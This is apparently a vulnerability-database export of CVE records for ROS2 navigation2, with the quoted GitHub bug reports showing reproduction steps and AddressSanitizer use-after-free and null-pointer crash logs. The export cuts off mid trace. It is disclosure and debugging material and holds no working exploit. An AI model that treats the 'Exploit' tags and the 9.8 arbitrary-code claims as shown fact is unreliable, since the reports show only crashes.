[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:openrobotics:robot_operating_system:2:humble:*:*:*:*:*:*", "matchCriteriaId": "0ADE698F-A518-4691-A7FA-2DEE8C079361", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:a:openrobotics:robot_operating_system:2:iron:*:*:*:*:*:*", "matchCriteriaId": "D710838C-3A7E-4BFA-BD6D-02C38627BB7E", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]

[ "281" ]

281

https://github.com/ros-navigation/navigation2/issues/4496

[ "Exploit", "Issue Tracking" ]

github.com

[ "ros-navigation", "navigation2" ]

## Bug report **Required Info:** - Operating System: - ubuntu22.04 - ROS2 Version: - humble & Iron - Version or commit hash: -  the latest - DDS implementation: -  the defaulted #### Steps to reproduce issue  1. Launch the navigation2 as following steps: ```sh #!/bin/bash export ASAN_OPTIONS=halt_on_error=0:new_delete_type_mismatch=0:detect_leaks=0:log_pah=asan source install/setup.bash export TURTLEBOT3_MODEL=waffle export GAZEBO_MODEL_PATH=$GAZEBO_MODEL_PATH:/opt/ros/humble/share/turtlebot3_gazebo/models ros2 launch nav2_bringup tb3_simulation_launch.py headless:=True use_rviz:=False use_composition:=False ``` 2. sending request for change any dynamic_parameter of `nav2_amcl`, like following one: ```sh ros2 param set amcl scan_topic scan ``` 3. deacitvate and cleanup nav2_amcl, like by press `Ctrl+C` #### Expected behavior no UAF bug #### Actual behavior UAF bug occured during `on_cleanup()` of nav2_amcl, the asan report is as following; ``` ================================================================= ==354519==ERROR: AddressSanitizer: heap-use-after-free on address 0x617000096c30 at pc 0x7f60ad65b9f7 bp 0x7ffee9e82c80 sp 0x7ffee9e82c78 READ of size 8 at 0x617000096c30 thread T0 #0 0x7f60ad4b1c00 in nav2_amcl::AmclNode::dynamicParametersCallback(std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> >) (/home/*****/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x174c00) (BuildId: 06f441f7bb569f4916eea766aa565e2a8d66c058) #1 0x7f60ad5628c6 in rcl_interfaces::msg::SetParametersResult_<std::allocator<void> > std::__invoke_impl<rcl_interfaces::msg::SetParametersResult_<std::allocator<void> >, rcl_interfaces::msg::SetParametersResult_<std::allocator<void> > (nav2_amcl::AmclNode::*&)(std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> >), nav2_amcl::AmclNode*&, std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> > const&>(std::__invoke_memfun_deref, rcl_interfaces::msg::SetParametersResult_<std::allocator<void> > (nav2_amcl::AmclNode::*&)(std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> >), nav2_amcl::AmclNode*&, std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> > const&) (/home/*****/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x2258c6) (BuildId: 06f441f7bb569f4916eea766aa565e2a8d66c058) #2 0x7f60ad562542 in std::_Function_handler<rcl_interfaces::msg::SetParametersResult_<std::allocator<void> > (std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> > const&), std::_Bind<rcl_interfaces::msg::SetParametersResult_<std::allocator<void> > (nav2_amcl::AmclNode::* (nav2_amcl::AmclNode*, std::_Placeholder<1>))(std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> >)> >::_M_invoke(std::_Any_data const&, std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> > const&) (/home/*****/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x225542) (BuildId: 06f441f7bb569f4916eea766aa565e2a8d66c058) #3 0x7f60ae062401 (/opt/ros/humble/lib/librclcpp.so+0x10d401) (BuildId: bd69d2a87470f6b9fdc0534ef05dc334083a0b6c) #4 0x7f60ae066f31 in rclcpp::node_interfaces::NodeParameters::set_parameters_atomically(std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> > const&) (/opt/ros/humble/lib/librclcpp.so+0x111f31) (BuildId: bd69d2a87470f6b9fdc0534ef05dc334083a0b6c) #5 0x7f60ae0e016c (/opt/ros/humble/lib/librclcpp.so+0x18b16c) (BuildId: bd69d2a87470f6b9fdc0534ef05dc334083a0b6c) #6 0x7f60ae09d757 (/opt/ros/humble/lib/librclcpp.so+0x148757) (BuildId: bd69d2a87470f6b9fdc0534ef05dc334083a0b6c) #7 0x7f60ae0abcfe (/opt/ros/humble/lib/librclcpp.so+0x156cfe) (BuildId: bd69d2a87470f6b9fdc0534ef05dc334083a0b6c) #8 0x7f60ae03e375 (/opt/ros/humble/lib/librclcpp.so+0xe9375) (BuildId: bd69d2a87470f6b9fdc0534ef05dc334083a0b6c) #9 0x7f60ae03bd59 in rclcpp::Executor::execute_service(std::shared_ptr<rclcpp::ServiceBase>) (/opt/ros/humble/lib/librclcpp.so+0xe6d59) (BuildId: bd69d2a87470f6b9fdc0534ef05dc334083a0b6c) #10 0x7f60ae03c0c5 in rclcpp::Executor::execute_any_executable(rclcpp::AnyExecutable&) (/opt/ros/humble/lib/librclcpp.so+0xe70c5) (BuildId: bd69d2a87470f6b9fdc0534ef05dc334083a0b6c) #11 0x7f60ae04397f in rclcpp::executors::SingleThreadedExecutor::spin() (/opt/ros/humble/lib/librclcpp.so+0xee97f) (BuildId: bd69d2a87470f6b9fdc0534ef05dc334083a0b6c) #12 0x7f60ae043b94 in rclcpp::spin(std::shared_ptr<rclcpp::node_interfaces::NodeBaseInterface>) (/opt/ros/humble/lib/librclcpp.so+0xeeb94) (BuildId: bd69d2a87470f6b9fdc0534ef05dc334083a0b6c) #13 0x55de5cf30a67 in main (/home/*****/nav2_humble/install/nav2_amcl/lib/nav2_amcl/amcl+0xe1a67) (BuildId: af681ae626cb5c1aeecd03031dbccd5dfa334f52) #14 0x7f60ac9abd8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: 490fef8403240c91833978d494d39e537409b92e) #15 0x7f60ac9abe3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId: 490fef8403240c91833978d494d39e537409b92e) #16 0x55de5ce70424 in _start (/home/*****/nav2_humble/install/nav2_amcl/lib/nav2_amcl/amcl+0x21424) (BuildId: af681ae626cb5c1aeecd03031dbccd5dfa334f52) 0x617000096c30 is located 48 bytes inside of 704-byte region [0x617000096c00,0x617000096ec0) freed by thread T1 here: #0 0x55de5cf2e89d in operator delete(void*) (/home/*****/nav2_humble/install/nav2_amcl/lib/nav2_amcl/amcl+0xdf89d) (BuildId: af681ae626cb5c1aeecd03031dbccd5dfa334f52) #1 0x7f60ad4b5c9c in nav2_amcl::AmclNode::on_cleanup(rclcpp_lifecycle::State const&) (/home/*****/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x178c9c) (BuildId: 06f441f7bb569f4916eea766aa565e2a8d66c058) #2 0x7f60adf388ec (/opt/ros/humble/lib/librclcpp_lifecycle.so+0x288ec) (BuildId: 97f6428dc1ee45fd402b522b3b8e6b4fcfeabe76) previously allocated by thread T0 here: #0 0x55de5cf2e03d in operator new(unsigned long) (/home/*****/nav2_humble/install/nav2_amcl/lib/nav2_amcl/amcl+0xdf03d) (BuildId: af681ae626cb5c1aeecd03031dbccd5dfa334f52) #1 0x7f60ad49e792 in nav2_amcl::AmclNode::initMessageFilters() (/home/*****/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x161792) (BuildId: 06f441f7bb569f4916eea766aa565e2a8d66c058) #2 0x7f60ad492985 in nav2_amcl::AmclNode::on_configure(rclcpp_lifecycle::State const&) (/home/*****/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x155985) (BuildId: 06f441f7bb569f4916eea766aa565e2a8d66c058) #3 0x7f60adf388ec (/opt/ros/humble/lib/librclcpp_lifecycle.so+0x288ec) (BuildId: 97f6428dc1ee45fd402b522b3b8e6b4fcfeabe76) Thread T1 created by T0 here: #0 0x55de5cedc6ec in __interceptor_pthread_create (/home/*****/nav2_humble/install/nav2_amcl/lib/nav2_amcl/amcl+0x8d6ec) (BuildId: af681ae626cb5c1aeecd03031dbccd5dfa334f52) #1 0x7f60acca7328 in std::thread::_M_start_thread(std::unique_ptr<std::thread::_State, std::default_delete<std::thread::_State> >, void (*)()) (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc328) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) #2 0x7f60ae18607f (/opt/ros/humble/lib/librcutils.so+0xa07f) (BuildId: cf5ab83f9f550b1f79433195029ab96f67a27c78) SUMMARY: AddressSanitizer: heap-use-after-free (/home/*****/nav2_humble/install/nav2_amcl/lib/libamcl_core.so+0x31e9f6) (BuildId: 06f441f7bb569f4916eea766aa565e2a8d66c058) in message_filters::Signal1<sensor_msgs::msg::LaserScan_<std::allocator<void> > >::removeCallback(std::shared_ptr<message_filters::CallbackHelper1<sensor_msgs::msg::LaserScan_<std::allocator<void> > > > const&) Shadow bytes around the buggy address: 0x0c2e8000ad30: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2e8000ad40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2e8000ad50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2e8000ad60: fd fd fd fd fd fa fa fa fa fa fa fa fa fa fa fa 0x0c2e8000ad70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c2e8000ad80: fd fd fd fd fd fd[fd]fd fd fd fd fd fd fd fd fd 0x0c2e8000ad90: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2e8000ada0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2e8000adb0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2e8000adc0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2e8000add0: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==354519==ABORTING ``` #### Additional information  ---- The cause of the UAF bug: The callback thread `dynamicParametersCallback()` of `dynamic_handler_` is still running though nav2_amcl has been executing `on_cleanup()`. And `on_cleanup()` would release many resources of nav2_amcl but the callback thread would access those released resources, so that the UAF bug occurs.

Completely shutdown dynamic_param callback threads instead of only `dyn_param_handler_.reset()`

https://api.github.com/repos/ros-navigation/navigation2/issues/4496/comments

5

2024-06-26T07:35:14Z

2024-08-30T06:45:24Z

https://github.com/ros-navigation/navigation2/issues/4496

2,374,591,094

4,496

6,450

CVE-2024-41645

2024-12-06T22:15:20.563

Insecure Permissions vulnerability in Open Robotics Robotic Operating System 2 ROS2 navigation2 v.humble allows an attacker to execute arbitrary code via a crafted script to the nav2__amcl.

{ "cvssMetricV2": null, "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/GoesM/ROS-CVE-CNVDs" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/ros-navigation/navigation2/issues/4497" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/ros-navigation/navigation2/pull/4521" }, { "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/ros-navigation/navigation2/issues/4497" } ]

[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:openrobotics:robot_operating_system:2:humble:*:*:*:*:*:*", "matchCriteriaId": "0ADE698F-A518-4691-A7FA-2DEE8C079361", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:a:openrobotics:robot_operating_system:2:iron:*:*:*:*:*:*", "matchCriteriaId": "D710838C-3A7E-4BFA-BD6D-02C38627BB7E", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]

[ "281" ]

281

https://github.com/ros-navigation/navigation2/issues/4497

[ "Exploit", "Issue Tracking" ]

github.com

[ "ros-navigation", "navigation2" ]

## Bug report **Required Info:** - Operating System: -  ubuntu 22.04 - ROS2 Version: -  humble - Version or commit hash: -  the latest - DDS implementation: -  the defaulted #### Steps to reproduce issue  Bug happened in my normal usage. Launch the navigation2 as following steps: ```sh #!/bin/bash export ASAN_OPTIONS=halt_on_error=0:new_delete_type_mismatch=0:detect_leaks=0:log_pah=asan source install/setup.bash export TURTLEBOT3_MODEL=waffle export GAZEBO_MODEL_PATH=$GAZEBO_MODEL_PATH:/opt/ros/humble/share/turtlebot3_gazebo/models ros2 launch nav2_bringup tb3_simulation_launch.py headless:=True use_rviz:=False use_composition:=False ``` #### Expected behavior no bug occured. #### Actual behavior the Asan report of this bug is as following: ``` ================================================================= ==171389==ERROR: AddressSanitizer: heap-use-after-free on address 0x6150000bb620 at pc 0x55a6b60ee814 bp 0x7fdffeffb0e0 sp 0x7fdffeffa8a8 #1 0x7fe00c983cb5 in nav2_costmap_2d::InflationLayer::dynamicParametersCallback(std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> >) (/home/*****/nav2_humble/install/nav2_costmap_2d/lib/liblayers.so+0x183cb5) (BuildId: 5b6a8053951b59c23ea7f461b781c5a72a39a6dd) #2 0x7fe00c9899cb in rcl_interfaces::msg::SetParametersResult_<std::allocator<void> > std::__invoke_impl<rcl_interfaces::msg::SetParametersResult_<std::allocator<void> >, rcl_interfaces::msg::SetParametersResult_<std::allocator<void> > (nav2_costmap_2d::InflationLayer::*&)(std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> >), nav2_costmap_2d::InflationLayer*&, std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> > const&>(std::__invoke_memfun_deref, rcl_interfaces::msg::SetParametersResult_<std::allocator<void> > (nav2_costmap_2d::InflationLayer::*&)(std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> >), nav2_costmap_2d::InflationLayer*&, std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> > const&) (/home/*****/nav2_humble/install/nav2_costmap_2d/lib/liblayers.so+0x1899cb) (BuildId: 5b6a8053951b59c23ea7f461b781c5a72a39a6dd) #3 0x7fe00c9898a2 in std::_Function_handler<rcl_interfaces::msg::SetParametersResult_<std::allocator<void> > (std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> > const&), std::_Bind<rcl_interfaces::msg::SetParametersResult_<std::allocator<void> > (nav2_costmap_2d::InflationLayer::* (nav2_costmap_2d::InflationLayer*, std::_Placeholder<1>))(std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> >)> >::_M_invoke(std::_Any_data const&, std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> > const&) (/home/*****/nav2_humble/install/nav2_costmap_2d/lib/liblayers.so+0x1898a2) (BuildId: 5b6a8053951b59c23ea7f461b781c5a72a39a6dd) #4 0x7fe00befc401 (/opt/ros/humble/lib/librclcpp.so+0x10d401) (BuildId: bd69d2a87470f6b9fdc0534ef05dc334083a0b6c) #5 0x7fe00bf00f31 in rclcpp::node_interfaces::NodeParameters::set_parameters_atomically(std::vector<rclcpp::Parameter, std::allocator<rclcpp::Parameter> > const&) (/opt/ros/humble/lib/librclcpp.so+0x111f31) (BuildId: bd69d2a87470f6b9fdc0534ef05dc334083a0b6c) #6 0x7fe00bf7a16c (/opt/ros/humble/lib/librclcpp.so+0x18b16c) (BuildId: bd69d2a87470f6b9fdc0534ef05dc334083a0b6c) #7 0x7fe00bf37757 (/opt/ros/humble/lib/librclcpp.so+0x148757) (BuildId: bd69d2a87470f6b9fdc0534ef05dc334083a0b6c) #8 0x7fe00bf45cfe (/opt/ros/humble/lib/librclcpp.so+0x156cfe) (BuildId: bd69d2a87470f6b9fdc0534ef05dc334083a0b6c) #9 0x7fe00bed8375 (/opt/ros/humble/lib/librclcpp.so+0xe9375) (BuildId: bd69d2a87470f6b9fdc0534ef05dc334083a0b6c) #10 0x7fe00bed5d59 in rclcpp::Executor::execute_service(std::shared_ptr<rclcpp::ServiceBase>) (/opt/ros/humble/lib/librclcpp.so+0xe6d59) (BuildId: bd69d2a87470f6b9fdc0534ef05dc334083a0b6c) #11 0x7fe00bed60c5 in rclcpp::Executor::execute_any_executable(rclcpp::AnyExecutable&) (/opt/ros/humble/lib/librclcpp.so+0xe70c5) (BuildId: bd69d2a87470f6b9fdc0534ef05dc334083a0b6c) #12 0x7fe00bedd97f in rclcpp::executors::SingleThreadedExecutor::spin() (/opt/ros/humble/lib/librclcpp.so+0xee97f) (BuildId: bd69d2a87470f6b9fdc0534ef05dc334083a0b6c) #13 0x7fe00c5fb4e1 in std::thread::_State_impl<std::thread::_Invoker<std::tuple<nav2_util::NodeThread::NodeThread(std::shared_ptr<rclcpp::node_interfaces::NodeBaseInterface>)::$_0> > >::_M_run() node_thread.cpp #14 0x7fe00b0dc252 (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc252) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) #15 0x7fe00ac94ac2 in start_thread nptl/./nptl/pthread_create.c:442:8 #16 0x7fe00ad2684f misc/../sysdeps/unix/sysv/linux/x86_64/clone3.S:81 0x6150000bb620 is located 32 bytes inside of 464-byte region [0x6150000bb600,0x6150000bb7d0) freed by thread T1 here: #0 0x55a6b6192a3d in operator delete(void*) (/home/*****/nav2_humble/install/nav2_planner/lib/nav2_planner/planner_server+0xeaa3d) (BuildId: 0d01382f47fffafcf72baea8200635e7f56bf31c) #1 0x7fe00c75ca77 in void class_loader::ClassLoader::onPluginDeletion<nav2_costmap_2d::Layer>(nav2_costmap_2d::Layer*) (/home/*****/nav2_humble/install/nav2_costmap_2d/lib/libnav2_costmap_2d_core.so+0x110a77) (BuildId: b7ddb351c48c8395862235fbf34b497039a1931a) previously allocated by thread T0 here: #0 0x55a6b61921dd in operator new(unsigned long) (/home/*****/nav2_humble/install/nav2_planner/lib/nav2_planner/planner_server+0xea1dd) (BuildId: 0d01382f47fffafcf72baea8200635e7f56bf31c) #1 0x7fe00c9879fd in class_loader::impl::MetaObject<nav2_costmap_2d::InflationLayer, nav2_costmap_2d::Layer>::create() const (/home/*****/nav2_humble/install/nav2_costmap_2d/lib/liblayers.so+0x1879fd) (BuildId: 5b6a8053951b59c23ea7f461b781c5a72a39a6dd) Thread T14 created by T0 here: #0 0x55a6b614088c in __interceptor_pthread_create (/home/*****/nav2_humble/install/nav2_planner/lib/nav2_planner/planner_server+0x9888c) (BuildId: 0d01382f47fffafcf72baea8200635e7f56bf31c) #1 0x7fe00b0dc328 in std::thread::_M_start_thread(std::unique_ptr<std::thread::_State, std::default_delete<std::thread::_State> >, void (*)()) (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc328) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) Thread T1 created by T0 here: #0 0x55a6b614088c in __interceptor_pthread_create (/home/*****/nav2_humble/install/nav2_planner/lib/nav2_planner/planner_server+0x9888c) (BuildId: 0d01382f47fffafcf72baea8200635e7f56bf31c) #1 0x7fe00b0dc328 in std::thread::_M_start_thread(std::unique_ptr<std::thread::_State, std::default_delete<std::thread::_State> >, void (*)()) (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc328) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) SUMMARY: AddressSanitizer: heap-use-after-free (/home/*****/nav2_humble/install/nav2_planner/lib/nav2_planner/planner_server+0x46813) (BuildId: 0d01382f47fffafcf72baea8200635e7f56bf31c) in __interceptor_memcpy Shadow bytes around the buggy address: 0x0c2a8000f670: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a8000f680: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a8000f690: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a8000f6a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a8000f6b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c2a8000f6c0: fd fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd 0x0c2a8000f6d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a8000f6e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2a8000f6f0: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa 0x0c2a8000f700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c2a8000f710: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ``` #### Additional information  ---- ##### It's a shutdown-issue First, based on my execution logs, I can confirm this is a shutdown issue. ##### It is caused by the `dyn_param_handler_` in the `inflation_layer_` not being actively closed. 1. The callback function `InflationLayer::dynamicParametersCallback()` that triggers the bug is executed by the `dynamic_handler_` of `inflation_layer_`: https://github.com/ros-navigation/navigation2/blob/a6b3de13f3c26f9df43ae45065c6a9a48053cccb/nav2_costmap_2d/plugins/inflation_layer.cpp#L105-L109 2. Although there is release behavior for the `dyn_param_handler_` in the destructor of `InflationLayer`, but it can't shutdown the callback thread of this handler. Such conclusion has been proved by the experiment described in another issue [#4496](https://github.com/ros-navigation/navigation2/issues/4496) 3. so that the thread of this handler may keep executing after the `on_cleanup()` of `costmap_ros_` https://github.com/ros-navigation/navigation2/blob/9fbae3e66ecc3b7315ca7cbb070468a564f5e111/nav2_costmap_2d/plugins/inflation_layer.cpp#L79-L83 4. During the `on_cleanup()` process of the `costmap_ros_` node, `inflation_layer_` is released: https://github.com/ros-navigation/navigation2/blob/9fbae3e66ecc3b7315ca7cbb070468a564f5e111/nav2_costmap_2d/src/costmap_2d_ros.cpp#L364 however, if here's a callback task being executed by `dyn_param_handler_`, it would access the released resource in `inflation_layer_`, and UAF-bug occurs. ##### suggestion Similarly, perhaps we need to update the way to completely shutdown `dyn_param_handler_` of `inflation_layer_`?

[nav2_costmap] UAF bug caused by incomplete closed `dynamicParametersCallback` thread in `Inflation_layer_`

https://api.github.com/repos/ros-navigation/navigation2/issues/4497/comments

1

2024-06-26T07:51:11Z

2024-06-27T15:20:35Z

https://github.com/ros-navigation/navigation2/issues/4497

2,374,628,765

4,497

6,451

CVE-2024-41646

2024-12-06T22:15:20.683

Insecure Permissions vulnerability in Open Robotics Robotic Operating System 2 ROS2 navigation2 v.humble allows an attacker to execute arbitrary code via a crafted script to the nav2_dwb_controller.

{ "cvssMetricV2": null, "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/GoesM/ROS-CVE-CNVDs" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/ros-navigation/navigation2/issues/4437" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/ros-navigation/navigation2/pull/4463" }, { "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/ros-navigation/navigation2/issues/4437" } ]

[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:openrobotics:robot_operating_system:2:humble:*:*:*:*:*:*", "matchCriteriaId": "0ADE698F-A518-4691-A7FA-2DEE8C079361", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:a:openrobotics:robot_operating_system:2:iron:*:*:*:*:*:*", "matchCriteriaId": "D710838C-3A7E-4BFA-BD6D-02C38627BB7E", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]

[ "281" ]

281

https://github.com/ros-navigation/navigation2/issues/4437

[ "Exploit", "Issue Tracking" ]

github.com

[ "ros-navigation", "navigation2" ]

## Bug report **Required Info:** - Operating System: -  ubuntu 22.04 - ROS2 Version: -  humble - Version or commit hash: -  the latest - DDS implementation: -  the defaulted #### Steps to reproduce issue  Launch the navigation2 normally, as following steps: ```sh #!/bin/bash export ASAN_OPTIONS=halt_on_error=0:new_delete_type_mismatch=0:detect_leaks=0:log_pah=asan source install/setup.bash export TURTLEBOT3_MODEL=waffle export GAZEBO_MODEL_PATH=$GAZEBO_MODEL_PATH:/opt/ros/humble/share/turtlebot3_gazebo/models ros2 launch nav2_bringup tb3_simulation_launch.py headless:=True use_rviz:=False use_composition:=False ``` #### Expected behavior no NullPtr bug occured. #### Actual behavior the Asan report of this NullPtr bug is as following: ``` ================================================================= ==661329==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x76800b96d0a7 bp 0x767ffa0f4f78 sp 0x767ffa0f4e80 T23) ==661329==The signal is caused by a READ memory access. ==661329==Hint: address points to the zero page. #0 0x76800b96d0a7 in geometry_msgs::msg::PoseStamped_<std::allocator<void> >& tf2_ros::BufferInterface::transform<geometry_msgs::msg::PoseStamped_<std::allocator<void> > >(geometry_msgs::msg::PoseStamped_<std::allocator<void> > const&, geometry_msgs::msg::PoseStamped_<std::allocator<void> >&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::chrono::duration<long, std::ratio<1l, 1000000000l> >) const (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav_2d_utils/lib/libtf_help.so+0x50a7) (BuildId: f41cf37be8ae9a489a0e1967e8f3d5855328550d) #1 0x76800ad0010c in geometry_msgs::msg::PoseStamped_<std::allocator<void> > tf2_ros::BufferInterface::transform<geometry_msgs::msg::PoseStamped_<std::allocator<void> > >(geometry_msgs::msg::PoseStamped_<std::allocator<void> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::chrono::duration<long, std::ratio<1l, 1000000000l> >) const (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_util/lib/libnav2_util_core.so+0x8a10c) (BuildId: 074014a12aa30b6de43159e7eb335b66f35e5343) #2 0x76800acfe94d in nav2_util::transformPoseInTargetFrame(geometry_msgs::msg::PoseStamped_<std::allocator<void> > const&, geometry_msgs::msg::PoseStamped_<std::allocator<void> >&, tf2_ros::Buffer&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, double) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_util/lib/libnav2_util_core.so+0x8894d) (BuildId: 074014a12aa30b6de43159e7eb335b66f35e5343) #3 0x76800acfe83f in 